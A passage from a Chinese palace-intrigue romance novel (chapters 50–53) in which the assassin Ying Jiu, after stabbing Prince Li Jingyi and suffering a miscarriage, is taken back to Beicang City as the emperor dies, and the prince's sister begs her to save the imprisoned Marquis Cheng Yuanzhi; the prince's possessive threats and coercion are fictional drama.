内心经过一番激烈的挣扎,她猛地攥紧簪子,眼中闪过一丝决绝,随即猛地转身,将锋利的尖端狠狠刺向了李京熠的胸口。
锋利的尖端刺进他的胸口,李京熠其实并不感到有多意外。
那一支簪子,他早就发现了,也料想到这一幕会发生。
她是杀手,从始至终都是。
就算将她的记忆抹去,可还是有一根无形的丝线,在控制着她的行动。
温热的鲜血很快浸透他胸口处的衣裳,鲜红的血珠争先恐后地往下滴落,滴落在影九的手背上,滚烫得吓人。
影九满手鲜血,当她发现李京熠没有丝毫躲闪之后,慌得一下子将簪子拔了出来。
鲜血喷涌而出,溅了一些在她的脸上。
她嗫嚅着苍白的嘴唇,声音颤抖得不像样子,“你……你知道我……”
李京熠的脸色苍白,额头上的青筋凸起,双眼被那一股猩红的嗜血气息占满。眼底深处,藏着令人心碎的绝望与了然,“小九,我知道你会杀我。”
50. 第50章
影九没能杀了李京熠,这是意料之中的事情。
她因小产,卧床休养了三日。
这三日里,她再未见过任何一个外人,也没听到这营帐之外传来任何消息。
李京熠亲自照顾她,为她擦洗身子、更换贴身衣物、端茶倒水。甚至,会喂她一口一口喝着苦涩的汤药,连她闹脾气不愿用膳时,李京熠也会掐着她的喉咙往里灌。
他对她的温柔已不复存在,取而代之的,是无尽的残暴与冷漠。
影九这时候才终于明白,之前的自己为何会千方百计地想从他身边逃离。
他就是个十恶不赦的魔鬼,残暴至极,没有一丝人情味。
第四日清晨,天光微亮,帐外寒风呼啸。
睡梦中的影九只觉身子一轻,整个人已被打横抱起。李京熠将一件厚实的披风裹在她身上,不由分说地将她按进自己怀里,随后大步跨出营帐。
寒风夹杂着肃杀之气扑面而来,影九迷迷糊糊地睁开沉重的眼皮,还不等她看清眼前人的样貌,鼻间便嗅到一丝不同寻常的气息。
她忙侧目去看,只见营帐外,将士们整齐列队,刀枪如林,整装待发。
影九心头一震,猜到他的意图。
可此事已是箭在弦上,不得不发,她也没有办法去改变。
李京熠察觉到她细微的颤抖,瞥见她脸上一闪而过的惊愕,嘴角勾起一抹冷笑,将她往自己怀里紧了紧,“如今这阵仗,你也能沉得住气?”
影九默默地把脸埋进他怀里,闻到他身上浓浓的药味。
那一日,刺入他胸口的那一支簪子自然是不足以致命。可她没想到,李京熠会不等伤口愈合,强撑病体,挥剑直指北苍城。
军营外,一辆漆黑的马车早已在外候着。
李京熠抱着她上了马车,帘幕落下,隔绝了外界的喧嚣。
不多时,车轮缓缓滚动,发出沉闷的声响。
马车外,将士们步伐整齐,每一步都踏在影九心上。
她的困意早已消散,取而代之的,是深不见底的无力感。
此刻踏上回城之路,恐怕要耗费好些时日。
她在心里叹了口气,重新闭上双眼。
李京熠垂眸,看着怀中双目紧闭的人,听着她浅浅的呼吸声,知道她早已清醒。或许,是因为不愿面对这样的场景,所以不愿睁开眼。
李京熠缓缓抬手,指尖抚过她柔软的发丝,轻轻攥着一缕,缠绕在指间,动作轻柔得近乎暧昧。可那声音,冰冷如利刃,悄无声息地划开马车内的沉默。
“你若是再不睁开眼,我可以把你毒瞎。”
闻言,影九的眉头狠狠一蹙。
李京熠见她依旧充耳不闻,眸色渐深,声音里透出一股阴森森的寒意,“或者,我给你毒哑,让你这辈子都开不了口。”
影九依旧缄默,对他的威胁置若罔闻。
李京熠冰凉的指尖轻轻扫过她的耳畔,随手狠狠钳住她的下巴,一字一句道:“别以为我不敢。”
剧痛从下颌骨传来,影九缓缓睁开脸,映入眼帘的,是李京熠那张阴郁且愤怒的脸。
“或许,我本不该对你动手。”影九移开视线,挣扎着想要爬起来。她开口时,语气中满是讥讽,“你谋权篡位,一定会死得很惨。”
挣扎的意图被李京熠识破,他一把将她重重地按回腿上,“就算我死了,也会拉着你陪葬。你是我的端王妃,休想逃!”
影九冷哼一声,不以为然,“这便是你强行将我带上马车的理由?”
“知我者,小九也。”李京熠修长的手指穿梭在她的发间,动作轻柔得让人毛骨悚然,“我可以死,但你绝不能独活。这世间,没人能拥有你,除了我,也没人能彻底毁了你。”
影九浑身僵硬,唯有听着,不愿反抗,也不愿去争论。
她知道,此刻的李京熠,已是一个疯子。
李京熠捻起一缕青丝,放在鼻间轻嗅。那一丝若有若无的香气,是她从前在王府时常用的,如今却成了他偏执的根源。
“等回到北苍城,我会把你锁在那个金丝笼里,就算你再想逃,也绝对不会有机会。”
“你在吓我吗?”影九闭了闭眼,声音疲惫。
“若是你想,可以试试。”李京熠轻笑一声。
“我能杀得了你一次,就能杀你第二次。”这话像是威胁,可是说出来并没有什么气势。
李京熠不以为然,语气轻蔑,“得不偿失,你这又是何必呢?”
影九回到影阁之后,那段时日里发生的事,李京熠已全部知晓。
归根结底,影阁阁主才是大患。
待到天下易主,一切事情就都好办了。
影九神色凝重,缓缓道:“这是我的宿命,我是死是生,不由你定夺。”
“咱们才刚上路,别说这些丧气话。”
马车摇摇晃晃,晃得人骨头都要散架。
影九这几日本就虚弱,在这狭小的空间里被晃得头晕目眩,实在有些难受。尽管马车内垫着厚厚的软裘,她仍觉得五脏六腑都在翻江倒海。
她咬着牙,撑着身子想要坐直。李京熠知道她有时候就是性子倔,于是扶着她坐起来,警告道:“这才刚上路,你安分待着,别给自己找罪受”
影九借力靠在车壁上,缓了口气,终究还是忍不住,伸手掀开轿帘一角。
刺目的日光倾泻而入,马车外,烈日已然高悬。前后左右,皆是黑压压的铁甲军士,浩浩荡荡的队伍宛如一条黑色的巨龙,蜿蜒至天际,好不威风!
她心头一沉,收回视线,轻叹口气,“你这么大阵仗回城,陛下难道不会察觉?”
“我领军回城复命,这么大的阵仗,难道不是理所应当?”李京熠神色淡然,甚至带着几分挑衅,“就算李炎有所察觉,真拿我当谋逆论处,那便正好有了起兵的理由。”
他顿了顿,目光落在影九苍白的侧脸上,眼底掠过一丝晦暗不明的情绪。
其实,他李京熠什么都不怕,什么都不在意。
就算是皇位,他也毫不在意,拱
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手相让。
尽管李炎坐上皇位之后,从未对黎民百姓做过一件好事,但他做得最对的一件事,便是派影阁杀手刺杀自己。
从而,让他遇见了影九。
在此之前,李京熠从未想过要去争什么。
但从那一日之后,他便开始为影九争抢一片宁静之地,想要与她携手共度余生。
影九余光瞥了他一眼,却恰好撞进他的视线里,她不动声色地移开,随后冷不丁问道:“那位康大夫,你将他如何了?”
那一日,李京熠便已在她身上发现那瓶药,又岂会不知那药其实是康德给的?
影阁的人落在他手里,难道会有什么好下场?
“杀了。”李京熠满不在乎地答道,“那样蠢笨之人,留着有何用处?竟还敢威胁你杀我,还蛊惑你吃下落胎药。这样的人,死千万次都不足惜!”
影九猜到会是这样的结果,可偏不死心,还是多嘴问了一句。
此刻,她沉默下来,心里像是压着一块巨石,格外沉重。
无论如何,那是她的同门,就这样因她死去,她难免会感到痛心。
“你在为他难过?”李京熠眉头紧锁,不可置信道:“你在为一个不相干的死人难过?我们的孩子因此夭折,你可有半点难过?”
“你怎知我没有?”影九眼眶微红,声音里带着一丝颤抖。
“竟然有吗?”李京熠冷哼一声,嘴角勾起一抹讥讽的弧度,满是自嘲与愤怒,“我还以为你是铁石心肠,心中竟无半分波澜。”
影九猛地别开脸去,不愿看他那副阴阳怪气的模样。再怎么说,她与那未出世的孩子也有了几个月的母子情,又怎会对此毫不伤心呢?
跟随军队前行,自然不是想停下便能停下。
况且,此次李京熠回城,图谋甚大,更不能在路程上掉以轻心。
影九身子虚,坐久了腰背剧痛难忍,冷汗顺着额角滑落。李京熠见她蜷缩在角落,坐立难安,眉头微不可察地皱了一下。
他随手扯过一个软垫垫在自己腿上,随后拍了拍那处位置,声音虽低沉,却带着不容置喙的威严:“趴下。”
影九绷着脸,不为所动。
“你就这么喜欢跟我对着干?”李京熠知道她身子难受,并不想对她恶言相向。
她小产才不过四日,正是气血亏损虚弱之时,可原本定好的回城日程迫在眉睫,李京熠只能委屈她,还是选择以大局为重。
前行的路程崎岖坎坷,李京熠也不愿让她受苦受累,只能尽量如她的愿,让她这一路上好过一些。
见她还绷着一张脸,李京熠伸手一把将她按在自己腿上,宽大的手掌覆上她的腰,二话不说,轻轻揉按起来。
“你何必假惺惺的?”影九奋力挣扎了一下。
“你觉得我是虚情假意,所以不接受我的好?”李京熠反问道。
这三天的时间里,影九已经完全见识到了他照顾人的本领,实在不敢恭维,眼下这看似温和的一面,说不定也全都是他的伪装。
51. 第51章
“难道不是虚情假意吗?”影九的声音莫名低了几分。
腰侧那双手宽大而有力,他控制着力度,轻重缓急,拿捏得都刚刚好。
李京熠垂眸,看着她老老实实地伏在自己膝上乖顺的模样,眼底掠过一丝餍足。他低沉的嗓音在狭窄的车厢内回荡,带着几分凉薄的笑意,“若换做是你,会费尽心机去哄骗一个杀手?只为让她放下戒心,别杀你?”
这话若是放在李京熠身上,未免太过荒谬可笑。
他堂堂端王,杀伐果断,何须对一个杀手使什么美男计?若真不顺心,一剑杀了便是,何苦费这些周折,做些让人耻笑的勾当?
影九自知理亏,缄默着没答话。
李京熠却不打算放过她,力道突然加重,似是在给她一个小小的惩罚。
影九痛得闷哼一声,下意识想要撑起身子逃离,奈何肩头一沉,李京熠的手掌如铁钳般按住她,迫使她继续维持着这个屈辱的姿势。
“我对你,从来都不是虚情假意。”
这句话冷不丁钻入耳朵里,低沉而郑重,带着前所未有的认真。
影九一愣,浑身一僵,不知该作出何反应。
不是虚情假意,难道是真心实意?
若果真如此,那他之前的种种行为,那些看似温柔的陷阱,那些步步为营的算计,难道都是因为心里有她?
这怎么可能?
明明是他欺骗在先,为她编造了一张这么大的网,如今竟大言不惭,说这些都是因为心里有她?
真是荒唐至极!可笑至极!
李京熠似乎察觉到细微的颤抖,手上的动作骤然停下。他耐心地伸出手,将她鬓边散落的碎发轻轻拢到耳后,指腹无意间擦过她微烫的耳廓,动作竟透着几分难得的温柔。
“为何默不作声?”他俯下身,温热的气息喷洒在她颈侧,声音低沉而笃定,“我知道你现在清醒着。”
影九多希望此刻的自己是不清醒的,那样的话,就不用被硬逼着回答这个问题。
沉默良久,她终于缓缓开口,“你我之间是不会长久的,我劝你,也不必再与我说这些话,只不过是浪费口舌罢了。”
自那一日初见,李京熠便从未打算放她走。
他步步为营,将她困住,早已是铁一般的事实。若非心里有她,他又何苦大费周章,做这些无用的纠缠?
可偏偏,伏在他膝上的这个人,似乎并不懂得他。
李京熠的眼底强压下一丝恼火,嘴角却勾起一个弧度,半开玩笑道:“若是你我之间长久不了,我便先把你杀了。就算是你的尸骨,我也会制成随身挂件,日日带在身边。”
这话听得影九脊背发寒,她猛地抬头,骂道:“你真是疯了!”
“不错。”李京熠低笑一声,眼底翻涌着狂热的暗火,“自遇见你那一日起,我便疯了。”
影九这会儿是真的怕了,她索性抬手将耳朵死死捂住。李京熠的心绪让人捉摸不定,她不知道哪些是真话,哪些是假话。
索性,便都不听。
-
在马车上晃晃悠悠大半日,马车究竟是何时停下的,影九已记不清了。直到李京熠低沉的嗓音在耳畔响起,她才猛然惊醒,发现日头已升得老高,刺得人眼晕。
“喝点水。”李京熠将茶杯送到她嘴边。
影九就着他的手,小口抿了半杯,温热的茶水滑过干涩的喉咙,稍稍缓解了体内的燥热。
“我想下去走走。”
“外头风大,寒气重。”嘴上是这么说着,但李京熠还是给她裹上了披风,随后转身率先跳下马车。
影九紧随其后,脚刚沾地,一阵裹挟着凉意的风便迎面扑来,直往人的骨头里钻。
她捂嘴咳嗽两声,李京熠听见,忙转身将她护在怀里,裹紧了她身上的披风。开口时,语气中带着几分责备,却难掩眼底的关切,“我都说了外面风大。”
不知何时,天色骤然转凉,枯黄的落叶在风中打着旋儿,萧瑟地飘落。
影九抬眼望着这番景象,眉头微蹙,心中却涌起一股莫名的寒意。
“马车里闷得慌,不下来走走怎么行?”她轻声反驳,试图挣脱他过于紧绷的怀抱。
“饿不饿?先去吃点儿东西。”李京熠并未松手,目光灼灼地盯着她。
既然他都这么问了,影九不敢说自己不饿。
她深知眼前这个男人的偏执,前几日她没什么胃口,结果他竟真的掐着她的脖子,强行将粥灌入她口中。
那冰冷的触感,至今仍让她心有余悸。
在一旁坐下后,李京熠亲自盛了一碗热汤给她。
影九接过,小口喝着。
这汤是何滋味,影九压根尝不出。她只知道,若是回到北苍城,李京熠一定会时时刻刻盯着她,那到时候她想要逃走,又谈何容易?
不过话又说回来,她刺杀李京熠的任务已经失败了,阁主一定也知晓了此事。那么,阁主是否会派人来杀她?
她是一枚任务失败的弃子,阁主又怎会让她安然无恙地活着?
这么想着,她环视四周一圈,并未发现有任何可疑之人。
不过想想也对,此时人多眼杂,就算要杀她,也必定不是一个绝佳的机会。
“在看什么?”李京熠的声音突兀地响起,带着一丝不易察觉的探究。
影九摇摇头,继续低头喝汤,试图掩饰心底的慌乱。
李京熠眯起狭长的眸子打量她,不愿她对自己有一丝一毫的隐瞒,追问道:“到底在看什么?”
喝下一碗汤,身子倒是觉得暖和了些。
影九放下碗,无奈瞥他一眼,索性直言,“我刺杀你的任务失败了,影阁一定还会派其他人来杀你。”
“你在担心我?”李京熠非但没有生气,反而有些高兴。
影九沉默地迎上他那双深邃的眸子,缓缓垂下眼帘,并未反驳这句话。事实上,她不仅担心他的安危,也担心自己的安危。
“没有人能杀得了我,连你也不例外。”李京熠轻笑一声,语
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气中透着狂妄,“若是你担忧我的安危,那便把心放进肚子里。”
这话并不能安慰到影九,相反,一旦李京熠的计谋得逞,天下易主,李京熠必定会遭到更多人的暗算与刺杀。
兴许压根不用影阁出手,他便命丧谁手了。
“你要走的这条路,凶险无比。你当真觉得你是个长命之人,屡次化险为夷吗?”
林间忽然刮起一阵风,落叶翩翩往下落。
一片枯黄的落叶打着旋儿,轻轻飘落在李京熠的肩头。影九几乎是出于本能,抬手替他拂去。指尖触碰到他衣料的瞬间,眼底掠过一丝难以察觉的悲伤。
李京熠反应迅速,立刻握住她即将收回的手,紧紧地握住,“你究竟在担心什么?只要你待在我身边,便会相安无事。让你信任我,是一件很难的事吗?”
影九心口一滞,敷衍地摇摇头,心里堵得慌,“我只是想……”
“什么都不要想。”李京熠望着她眉宇间的忧愁,骤然打断她的话,“在我身边,你什么都不要想。”
凛冽的风肆意在林间穿梭,吹得影九的眼睛干涩发酸。她眨了眨眼睛,迅速将自己的思绪从李京熠深邃的眼眸中抽离出来。
差一点,她就要掉进他的温柔陷阱里。
影九警告自己,必须时刻保持清醒。
一定是因为被风吹得头疼得太厉害,所以才这么轻易地被攻破了防线。
“还是要想的,指不定哪一天,你又把我毒瞎了,或是毒哑了。”更重要的是,现在待在李京熠身边的她,至少还能勉强保得住一条命。
身为一名杀手,她居然如此贪生怕死,甚至还奢望寻求李京熠的庇护,影九不禁在心里暗讽自己的软弱。
李京熠从来就是一个阴晴不定的人,影九不敢妄想与他长长久久一辈子,只要在此刻,能听到李京熠说这些话,便足够了。
李京熠并未因她的冷言冷语而动怒,反而将她苍白的手指放在唇边亲吻,语气虔诚又认真,又带着一丝警告的意味,“只要你乖乖的,便什么事都没有。”
心中矛盾如麻的影九听不得他说这些,听得实在是头疼,于是把手从他手里抽回来,“我想去睡会儿。”
李京熠二话不说,起身将她打横抱起,动作轻柔地放回马车内。他细心地将软垫与厚毛毯铺好,低声道:“安心睡,待会儿还要赶路,恐怕没这么容易再睡着。”
影九闭上眼,不多时便沉入梦乡。
这几日心力交瘁,她确实累了。
马车外,李京熠并未走远,他时刻盯着马车帷帽,唯恐她会从眼皮子底下溜走。
这几日,她的气色差得令人心惊,每次与他争吵后便粒米不进,他看在眼里,说不心疼都是假的。
那个孩子的存在让他开心,他原以为这就会让她牢牢地困在自己身边。但那个孩子突然消失,也的确让他悲痛万分。
这几日,他发现她常常会在梦中哭泣,不知是因孩子骤然失去而感到悲痛,还是因为对如今的境地感到难过。
52. 第52章
前往北苍城的路途虽算顺利,但紧赶慢赶之下,距离城池还有一日路程时,一行人却遇到了一位不速之客。
影九掀起马车帘幕一角,见到那人时,便觉得十分眼熟。直到“永安侯”三个字从李京熠的嘴里冷冷吐出时,她才恍然想起来,这是李灵的夫君,永安侯程远之。
此刻,程远之率领一队人马,赫然挡住了他们的前路。
密林深处,两队人马对峙而立,唯有带着丝丝凉意的寒风从他们之间呼啸而过,卷起几片枯叶。
李京熠骑在战马上,身着玄铁盔甲,一脸冷峻。
程远之与他相隔一段距离,并未策马上前,而是高声喊道:“我等特奉陛下旨意,在此恭候端王凯旋!”
李京熠冷哼一声,显然未将这封“口谕”放在眼里,“既是恭迎我方凯旋,为何将我堵在城门外?”
“端王此言差矣,这是恭迎。”程远之说着,手持缰绳上前两步,语气中带着挑衅,“端王该不会,不将陛下的旨意放在眼里吧?”
“呵!怎么会呢?”李京熠一字一句,说得谦卑有礼,语气中听着却充满敌意,“陛下特意命你出城恭迎,难不成,永安侯还会公报私仇,将我拦在城外,不让我回城?”
程远之轻哼一声,满脸不屑,“好话都让端王说尽了,我也听够了。这下,端王可愿随我入宫面圣?”
李京熠本就不将永安侯放在眼里,更何况是如今这个节骨眼上。就算是永安侯,又能将他如何?
他心中冷笑,面上不动声色,依然我行我素。
影九坐在后头的马车里,离着他们有些距离,有些话听得并不太真切。但瞧着李京熠的模样,他一身傲气,毫不退让。
难道,这永安侯是陛下特意派来试探李京熠的?
又或者,是李京熠这一路上实在太过招摇,已然触怒陛下?
影九轻叹一口气,眉宇间掠过一丝忧愁。
看来,回城之后,不会太平。
有了永安侯在前头压着这队伍,李京熠自然是不方便再回到马车里。
影九反倒是落得清净,头也没那么疼了。
然而,越往北上,寒意便越是深重。
日头虽然高悬,可已没了半分暖意。
马车里铺着厚厚的毛毯,影九用微凉的指尖掀开帘子,往前头张望,想去看李京熠的背影。李京熠像是有所察觉,蓦然回首。
那一瞬,四目相对。
影九被他盯着不太自在,不悦地皱了皱眉。
马背上的李京熠并未恼怒,反而转过头去,嘴角勾起一抹若有若无的笑意。
这个紧要关头,他居然还笑得出来。看来,对于眼前这个步步惊心的棋局,他早已是胜券在握。
影九心中那点无谓的担忧,在这一刻显得如此多余,倒像是自己在庸人自扰。
-
北苍城那巍峨的轮廓已在眼前,马车缓缓驶入城门。
正在此时,一声悲壮苍凉的钟声骤然划破长空,紧接着是第二声、第三声……足足二十七响,声声震耳,直击人心。
街道上熙熙攘攘的行人与商贩们瞬间驻足,面面相觑,惶恐失色。甚至,连走在最前头的程远之也突然勒停了缰绳,脸上浮现出难以置信的惊骇。
宫中早已无太后,这丧钟突然敲响,唯有一个可能,那便是陛下驾崩。
李京熠剑眉微挑,低声向身旁的屠刃交代了一句。屠刃领命,调转缰绳,折返回马车旁,对影九道:“王妃,王爷命属下护送您回府。”
影九的目光仍停留在前方那挺拔的背影上,眉头紧锁,试探着问道:“是陛下驾崩了?”
屠刃避而不答,只重复道:“王妃,属下护送您回府。王爷需即刻入宫。”
皇宫内院,权谋翻涌,步步惊心,影九本就不愿多涉其中。于是她微微颔首,淡然道:“好。”
漆黑的马车调转方向,往另一条街道去。车轮碾过青石板路,发出沉闷的声响,如同影九此刻纷乱的心绪。
她的心中万分疑惑。
他们才一进城,丧钟便传遍北苍城,这是巧合,还是李京熠早有预谋?太子年仅三岁,路还走得不稳定,李京熠扶持幼帝登基,把持朝政,这便是他最终的目的吗?
可如此行事,会让人信服吗?朝中又有多少人是站在李京熠这边的?
朝堂之事,影九知之甚少,李京熠也鲜少与她提起。影九帮不上忙,也无意插手,只能耐心等待李京熠归来。
马车在端王门前停下,影九才一掀开轿帘,落霞便赶忙迎上来,欣喜道:“王妃!您终于回来了!”
影九浑身乏力,但见到一个对她露出真诚笑容的人,嘴角还是勾起了一抹笑意。只是那苍白的面容上,难掩疲惫。
“王妃,您慢点儿!”落霞赶紧伸手去扶她。
下了马车之后,影九站在王府大门前,踏上台阶时,一股熟悉的感觉扑面而来,带着几分久违的疏离感。
她的脚步虚浮,身形摇晃,仿佛一阵风就能将她吹散。
今日天色阴沉,乌云低垂,压得人心口发闷。
落霞扶着她,一路走到广寒院。
推门而入,眼前的景象却让她微微一怔。
屋内的陈设焕然一新,精致华美,已寻不到昔日的半点痕迹。
见王妃在打量四处,落霞笑着解释道:“王妃,这儿是王爷吩咐人专程修缮,重新布置好的,您可还满意?王爷说,您一定会喜欢的!”
影九在凳子上坐下,神色淡然,“倒也谈不上喜欢不喜欢,能住就好。”
“王妃一路舟车劳顿,是否要先歇息?”
影九确实有些乏了,于是点头道:“我去睡会儿。”
落霞为她掖好被角,轻手轻脚地关上门出去了。
然而,躺在床上的影九,双眼却睁得大大的,毫无睡意。
窗外的风拍打着窗棂,发出轻微的响动,像是一种无声的叩问。
她望着帐顶,思绪却飘得很远。
这崭新的卧房,这突如其来的丧钟,还有那个深不可测的男人,太多太多的疑惑。这一切都像是一张精心编织的网,而她,不知何时已被悄然网入其中。<
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影九接连几日都未能见到李京熠,按照落霞所言,这几日里,李京熠都是早出晚归,且为了不打扰到影九休息,都是歇在偏院。
陛下骤然驾崩,这其中一定藏着不可告人的秘密。
而这个秘密,一定是与李京熠有关。
为了将这个秘密掩埋,为了让计划顺利进行,李京熠一定是忙得焦头烂额。
自影九回到王府,便日日有大夫上门为她诊治。每日喝下一碗一碗调理身子的汤药,喝得面色都红润了不少。
卧床休养几日后,影九终于是觉得身子松快了许多,能下床去外头走走了。
王府各处还是从前的模样,只不过天气骤然变冷,景色显得萧条了。
落霞扶着影九在园子里慢慢地走,今日的天气阴沉沉的,刮来的风里也带着丝丝凉意,仿佛侵入了人的骨头里。
秋风萧瑟,湖面泛起层层涟漪。
影九眯了眯干涩的眼睛,望着静谧的湖面,轻叹了一声。
如今在这里苟且偷生,真的是长久之计吗?
身为影阁杀手,任务失败,是必死的结局。就算不自我了断,想必阁主也会派其他人来杀她。
更何况,她的种种行为已是背叛影阁,阁主便更加不会手下留情。
落霞听她叹气,将她肩上的披风紧了紧,“王妃,今年不知怎么的,转眼便入秋了,真是叫人措手不及。”
“是啊。”影九惆怅道。
风渐渐大了,影九欲转身往回走,突然这时候李灵从外头进来,脚步匆匆,一脸焦急万分。
“嫂嫂!嫂嫂!”
李灵一见到影九,便不顾礼仪规矩,高声呼喊起来。
影九闻声止步,见她走近了,忙问道:“何事如此惊慌?把气喘匀了,慢慢说。”
见到影九安然无恙,李灵像是找到了主心骨,拍了拍胸口,急忙说道:“嫂嫂,求你帮帮忙!远之他被皇兄下狱了!”
“永安侯?”影九皱眉。
那一日在城外还见过他,当时便觉得事情不对,他奉皇命来迎李京熠回城,但李京熠并不领情。更何况,一回城便传来陛下驾崩的消息,此事一定是在朝堂之上闹得沸沸扬扬。
“远之他说错了话,惹怒了皇兄,便被皇兄……下狱了!”说着,李灵再也忍不住,眼泪夺眶而出,“皇兄一向不喜远之,这次一定……一定不会让他活着回来!”
影九神色未变,只是轻轻拍拍她的背。
此时风起,外头也不是说话的地方。
“去我院子里坐坐吧,此事说不定没有你想的那么糟糕。”她语气平静,却带着不容置疑的安抚力量。
李灵点头,跟着影九往广寒院里去。
走进屋里之后,影九给她倒了杯热茶,随后说道:“喝口茶,压压惊。把此事的经过,原原本本告诉我。”
李灵接过茶杯,仰头一饮而尽。她沉默了一会儿,像是在回忆此事的线索,“我并未亲眼所见,这也是从宫里传来的消息。”
影九微微颔首,示意她接着往下说。
53. 第53章
“那一日,陛下突然驾崩,恰好皇兄回城,远之认为事有蹊跷,便在朝堂上口不择言,说陛下驾崩的事……与皇兄有关。皇兄一怒之下便……便将远之下狱……如今已是第五日了。”李灵泣不成声,牢牢攥着影九的衣袖,“我是实在没办法,才不得不求你帮忙!”
影九听后眉头紧锁,这事关朝堂,岂是她能插手的?
况且,那是永安侯,李京熠最看不惯之人。如今在朝堂之上,只手遮天的人是李京熠,他自然是咽不下任何一口气,从前得罪过他,或是针对过他的人,他自然是一个都留不得。
但程远之好歹是他妹夫,他当真能狠心到大义灭亲的地步?
若是为了立威,杀鸡儆猴,那也该选个无关紧要的角色,如此公然处置,就不怕朝野非议,落人口实吗?
“李京熠只是将他下狱,可有说其他的?”影九问道。
李灵仔细想来,最终还是摇了摇头,“但按照皇兄的性子,他一定不会善罢甘休。”
影九暗自叹了口气,她并不愿理会朝堂之事,李京熠也从未向她主动提起过。如今要想为李灵办成这件事,恐怕不容易。
“永安侯出言不逊,惹怒了李京熠。我猜,李京熠应该只是想让永安侯吃些苦头,并不一定是真的想要杀他。”影九握住李灵颤抖的手,轻声安慰道:“等他回来,我探探他的口风。一旦有任何消息,我便立刻差人告诉你。”
闻言,李灵立刻点头,“好,多谢嫂嫂!”
影九惆怅地摇摇头,“何必谢我?此事我还未去办呢。但无论如何,我一定不会让永安侯有性命之忧。”
李灵重重点头,紧锁的眉头终于舒展开几分,“嫂嫂,皇兄最是在意你。你若是开口向他求情,他定然是会放了远之。”
这话却让影九眸光微闪,一丝难以察觉的异样掠过眼底,“想必,你也知道你皇兄要做什么。若是此事成了,那么包括永安侯在内,之前与李京熠作对的那些人,都不会有好日子过。我能救得了永安侯一时,但往后的日子如何,怕是不好说。”
李灵眉头紧锁,满脸愁容,“皇兄……他从前不是这样的。他是父皇的长子,父皇对他宠爱有加,骑射剑术都是父皇手把手交的。皇兄深受父皇宠爱,也很受大臣们爱戴。所有人都猜测,皇兄会是储君之位的不二人选。但人算不如天算,不知为何,皇兄并为坐上皇位。有人说,是皇兄刻意相让,因为皇兄不屑于党争,也不愿被困于皇城之中。但坐上皇位那人不知足,竟还对皇兄赶尽杀绝,三番两次地派人去刺杀皇兄。如今这番景象,说是自食恶果也不为过……”
“慎言!”影九厉声制止。
李灵满不在乎地摇摇头,语气中带着几分天真与任性,“这儿是端王府,就算被人听了去,那又何妨?”
影九闻言,神色凝重。她看着李灵,缓缓问道:“这些事,你全都知道?”
“知道又有何用?”李灵自嘲似的笑了笑,眼底闪过一丝落寞,“文武百官不知,天下百姓更不知。如今这局面,人们只会认为是皇兄谋权篡位,是个乱臣贼子。”
影九不知该作何反应,既然黎民百姓都会这么想,那么李京熠岂不是顶着巨大的风浪在行事?
这对他,百害无一利。
既如此,又为何还要到皇城中去?
难道,终究是抵挡不住那一份至高无上权力的诱惑吗?
“他既已将事情做到如此地步,我们是劝不住的。”影九心中困惑,不明白他要掌权的企图。既然他无心当皇帝,又为何要做这北苍城中权势最盛之人呢?
李灵忽然警觉地将屋内扫视一圈,随后岔开话题,语气变得热切起来,“嫂嫂,听说这院子是皇兄专程为你修缮过的,所用家具装潢,无一不是顶好的。他对你的好,有目共睹。你若是肯劝他,他一定会听你的。”
影九心中苦笑。
凡事不要做得太绝对,影九也不敢保证自己在他心里,真有那么重的分量。
“我会试着说一说,但我不敢保证……”
“嫂嫂你放心!”李灵一拍桌子,眼中闪烁着不容置疑的信任,“只要你开口!皇兄没有不答应的道理!”
影九心里清楚,自己并未有十足的把握可以说服李京熠。但既然李灵上门求助,她便没有袖手旁观的道理,愿意一试。
“如今正值多事之秋,永安侯身陷囹圄,你自己务必多加小心。”影九郑重叮嘱,随后像是忽然想起什么,话锋一转,“对了,程二公子,可还好吗?”
提到这个,李灵面色犹豫,良久,才缓缓摇头,“那一日的事……被远之知晓,他对我们生了好大一通气。二弟被送去了江南读书,我已有很长一段日子未与他见过了。”
“竟是这样?”影九轻叹一声。
对于此事,她脑海中的记忆因药物侵蚀,已经很是模糊。
她感到有些愧疚,毕竟此事是因自己而起,却害得他被送到了江南去。
李灵见她神色有异,以为她仍在自责,连忙握紧她的手,柔声安慰道:“嫂嫂,此事不怪你,你知二弟这份心意便好,其余的,他都能承受。虽说,我背着皇兄做这些事理亏,但如今,恐怕二弟也不会轻易到你跟前来了。”
影九点点头,对于过往的种种,她能记起来的不多,也不愿再深究。
窗外,天色在眨眼间阴沉了下来,狂风卷着几片枯黄的树叶,无力地飘落在门前。
影九抬眼望了望天,提醒道:“这天怕是要变了,你赶紧回去吧。”
李灵“嗯”了一声,起身告辞。
天空中的乌云压得很低,李灵离开后不久,雨滴便噼里啪啦地往下砸。
影九独坐在窗边,望着院子里被风雨肆虐的花木,却无半分赏雨的闲情。
-
这一场大雨持续到深夜,影九被搅得心神不宁,难以入眠。
就在半梦本醒之时,房门突然“
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吱呀”一声被推开,一股裹挟着湿气的寒风趁机钻了进来。
门很快又被轻轻掩上,紧接着,是一阵刻意放轻的脚步声。
是李京熠。
影九睁开朦胧的双眼,转头去看他。屋里很黑,她看不真切。但她知道,眼前的人就是李京熠。
因为,她的头又开始疼了。
李京熠似乎察觉到了她的清醒,动作轻缓地掀开被子,躺了进来。
影九下意识往里挪了挪,声音里带着刚醒的沙哑,“你怎么这个时候回来了?”
李京熠身上带着一阵寒凉的湿气,开口时,声音里尽是疲惫,“今日还算早,这会儿刚过亥时。”
“你这些时日,都在忙什么?”影九本不愿问这么一句话,但为了从他的口中探听到程远之的消息,不得不这么问。
李京熠翻了个身,长臂一伸,便将她揽入怀中,温热的呼吸洒在她颈侧,“听说,灵儿今日来过?”
任何事都瞒不过李京熠,哪怕在这么忙的节骨眼上,他还有闲心在意这等小事。
影九下意识往外挣了挣,不愿与他贴得太近,“是。那我猜,你应该也知道她来是所为何事?”
李京熠沉默片刻,嗓音低沉,“她求你,救永安侯?”
“是。”影九毫不遮掩,坦然承认,“那你呢?会看在灵儿的面子上,放了永安侯吗?”
“今时不同往日,更何况那是永安侯?”李京熠的声音里透着一股不容置疑的冷硬,“他对我出言不逊,朝堂之上,多少双眼睛盯着?如今还留着他的性命,已是我最大的让步。”
闻言,影九皱眉看着他。
听他这意思,似乎并不打算草草了事。
“难道,你真的要杀了他?”
李京熠的脸上掠过一丝阴冷,语气却温柔,“毕竟是永安侯,若是一刀杀了,难免会遭人非议。况且,眼下正值国丧,行事不好太过张扬。”
他话里有话,影九睁着一双黑漆漆的眼睛,紧紧盯着他,追问道:“你有何打算?”
